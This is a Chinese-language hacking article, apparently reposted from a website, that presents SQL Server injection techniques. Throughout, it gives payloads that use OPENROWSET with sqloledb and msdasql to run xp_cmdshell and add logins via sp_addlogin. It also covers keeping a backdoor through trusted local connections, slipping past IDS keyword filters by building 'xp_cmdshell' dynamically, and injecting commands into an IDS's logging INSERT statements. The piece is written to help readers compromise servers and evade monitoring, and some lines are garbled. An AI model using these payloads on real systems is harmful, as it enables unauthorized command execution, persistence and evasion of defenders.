1.關于Openrowset和Opendatasource
可能這個技巧早有人已經(jīng)會了,就是利用openrowset發(fā)送本地命令,
注意那些容易被忽略的SQL注入技巧
。通常我們的用法是(包括MSDN的列子)如下:
<ccid_code>select * from openrowset('sqloledb','myserver';'sa';'','select * from table')</ccid_code>
那么我們能不能利用它調用xp_cmdshell呢?答案是肯定的!
<ccid_code>select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshel l ''dir c:\''')</ccid_code>
那么如果我們要調用sp_addlogin呢,他不會像xp_cmdshell返回任何集合的,我們就不能再依靠fmtonly設置了,可以如下操作:
<ccid_code>select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin Hectic')</ccid_code>
2.關于Msdasql兩次請求的問題
不知道大家有沒有試過用msdasql連接遠程數(shù)據(jù)庫,當然這個api必須是sqlserver的管理員才可以調用,那么如下:
<ccid_code>select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s elect * from table1 select * from table2')</ccid_code>
3.可怕的后門
以前在網(wǎng)上看到有人說在 sqlserver上留后門可以通過添加triger、jobs或改寫sp_addlogin和sp_addsrvrolemember做到,這些方法當然可行,但是很容易會被發(fā)現(xiàn)。不知道大家有沒有想過sqloledb的本地連接映射。呵呵,比如你在對方的sqlserver上用sqlserver的管理員賬號執(zhí)行如下的命令:
<ccid_code>select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')</ccid_code>
另外還有一個猜測,不知道大家有沒有注意過windows默認附帶的兩個dsn,一個是localserver一個是msqi,這兩個在建立的時候是本地管理員賬號連接sqlserver的,如果對方的 sqlserver是通過自定義的power user啟動,那么sa的權限就和power user一樣,很難有所大作為,但是我們通過如下的命令:
<ccid_code>select * from openrowset ('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:\''')</ccid_code>
電腦資料
《注意那些容易被忽略的SQL注入技巧》(http://www.szmdbiao.com),F(xiàn)在的問題是sqloledb無法調用dsn連接,而msdasql非管理員不讓調用,所以我現(xiàn)在正在尋找guest調用msdasql 的方法。如果有人知道這個bug如何突破,或有新的想法,我們可以一起討論一下,這個發(fā)放如果能成功被guest利用,將會是一個很嚴重的安全漏洞。因為我們前面提到的任何sql語句都可以提交給對方的asp去幫我們執(zhí)行。
4.利用T-sql騙過Ids或攻擊Ids
現(xiàn)在的Ids已經(jīng)變得越來越聰明了。有的ids加入了xp_cmdshell sp_addlogin 的監(jiān)視,但是畢竟人工智能沒有出現(xiàn)的今天,這種監(jiān)視總是有種騙人的感覺。
先說說欺騙Ids
Ids既然監(jiān)視xp_cmdshell關鍵字,那么我們可以這么做:
<ccid_code>declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:\'</ccid_code>
假設這個id=988456
<ccid_code>declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\'</ccid_code>
<ccid_code>declare @a sysname select @a=name from sysobjects where id=988455 1 exec @a 'dir c:\'</ccid_code>
再說說攻擊Ids
因為Ids數(shù)據(jù)量很大,日至通常備份到常規(guī)數(shù)據(jù)庫,比如sql server。
如果用古老的recordset.addnew做法,會嚴重影響ids的性能,因為通過ado做t-sql請求,不但效率高,而且有一部分工作可以交給sql server 去做,通常程序會這么寫:
<ccid_code>insert table values ('日至內容',...)</ccid_code>
<ccid_code>insert table values ('日至內容'....'temp') exec xp_cmdshell 'dir c:\' -- ')</ccid_code>
<ccid_code>insert/**/table/**/values('日至內容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')</ccid_code>
其實這種方法的原理和攻擊asp是一樣的,只是把空格變成了/**/ 。本來asp是select語句,那么用'就可以屏蔽,F(xiàn)在ids用insert語句,那么用')屏蔽。
好了,其他很多新的入侵語句大家可以自己慢慢想,最好的測試工具就是query analyzer了。